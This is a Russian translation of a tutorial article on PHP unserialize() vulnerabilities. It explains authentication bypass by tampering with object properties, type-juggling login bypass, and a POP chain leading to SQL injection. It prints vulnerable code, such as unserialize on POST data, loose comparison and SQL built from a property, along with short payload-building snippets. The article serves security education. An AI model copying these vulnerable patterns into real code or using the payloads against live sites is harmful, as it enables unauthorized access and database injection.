Обход аутентификации и внедрение SQL-кода через unserialize() в PHP
Сериализация в PHP через метод unserialize()
приводит к появлению уязвимостей, открывающих через RCE (удаленное выполнение кода) доступ для хакеров. Даже при отсутствии RCE существует вероятность обхода системы аутентификации и внедрения SQL-кода.
Обход механизма аутентификации
Уязвимости unserialize()
часто используются для обхода проверки безопасности приложения. Есть два способа реализации. Первый заключается в управлении свойствами объекта, чтобы получить контроль доступа. Второй способ — манипуляции с типами. Оба метода основаны на том, что конечный пользователь может управлять переданным в функцию объектом.
Управление свойствами объекта
Это один из самых простых и распространенных способов использования уязвимости десериализации для обхода аутентификации.
class User{
public $username = "vickie";
public $type = "Regular User";
# еще PHP код
}
Предположим, приложение использует класс User для передачи личной информации в процессе регистрации. После заполнения формы пользователем, эти данные будут сообщены во внутреннюю базу через сериализованный объект User.
Так как у конечного пользователя есть право на управление объектом User, он может изменить характеристики объекта и зарегистрироваться как пользователь с правами администратора.
class User{
public $username = "vickie";
public $type = "Admin User";
# еще немного PHP кода
}
Манипулирование типами переменных
Еще один простой способ взлома, основанный на функции манипуляции типами в PHP. В качестве примера рассмотрим код, используемый для входа в систему под именем администратора:
parse_str($_POST['user_password'], $password_array);
$pw = unserialize($password_array[0]);
if ($pw->password == "Admin_Password")
{login_as_admin();}
Хакер может отправить запрос POST, чтобы войти как админ:
class Password{
public $password = 0;
# и еще PHP код
}
# строка принята как тело POST:
print urlencode(serialize(new Password));
Это сработает, так как ответом на (0 == “Admin_Password”) будет true. При сравнении разных типов данных в PHP запускается процесс сведения их к одному типу. Следовательно, “Admin_Password” превратится в 0. И выражение станет эквивалентным (0 == 0).
SQL-инъекция
При определенных условиях уязвимости unserialize() могут быть использованы для внедрения SQL-кода.
Использование POP-цепочек
Предположим, где-то в коде приложение определяет класс Example3 и десериализует нефильтрованный пользовательский ввод из данных POST.
class Example3
{
protected $obj;
function __construct()
{
// PHP код...
}
function __toString()
{
if (isset($this->obj)) return $this->obj->getValue();
}
}
// немного PHP кода...
$user_data = unserialize($_POST['data']);
// еще чуть-чуть PHP кода...
__toString()
— это магический метод, вызываемый каждый раз, когда класс рассматривается как строка. В таком случае Example3 обрабатывается как строка, и в результате метода getValue() возвращается свойство $obj.
Предположим, в приложении также определен класс SQL_Row_Value с методом getValue(), который выполняет SQL запрос. Запрос получает данные из свойства $_table экземпляра SQL_Row_Value.
class SQL_Row_Value
{
private $_table;
// немного PHP кода...
function getValue($id)
{
$sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
$result = mysql_query($sql, $DBFactory::getConnection());
$row = mysql_fetch_assoc($result);
return $row['value'];
Хакер может внедрить SQL-код, используя $obj в Example3: нижеследующий код создаст экземпляр Example3 с $obj, где значение $_table в SQL_Row_Value будет определено как строка “SQL Injection”.
class SQL_Row_Value
{
private $_table = "SQL Injection";
}
class Example3
{
protected $obj;
function __construct()
{
$this->obj = new SQL_Row_Value;
}
}
print urlencode(serialize(new Example3));
Всякий раз, когда этот экземпляр обрабатывается как строка, вызывается метод get_Value() в $obj. То есть для SQL_Row_Value этот метод будет выполняться со строкой “SQL Injection”.
Таким образом, хакер реализовал ограниченное внедрение SQL-кода, поскольку он может контролировать строку, переданную в SQL запрос "SELECT * FROM {$this->_table} WHERE id = ". (int)$id;
Читайте также:
Перевод статьи Vickie Li: Diving into unserialize(): More than RCE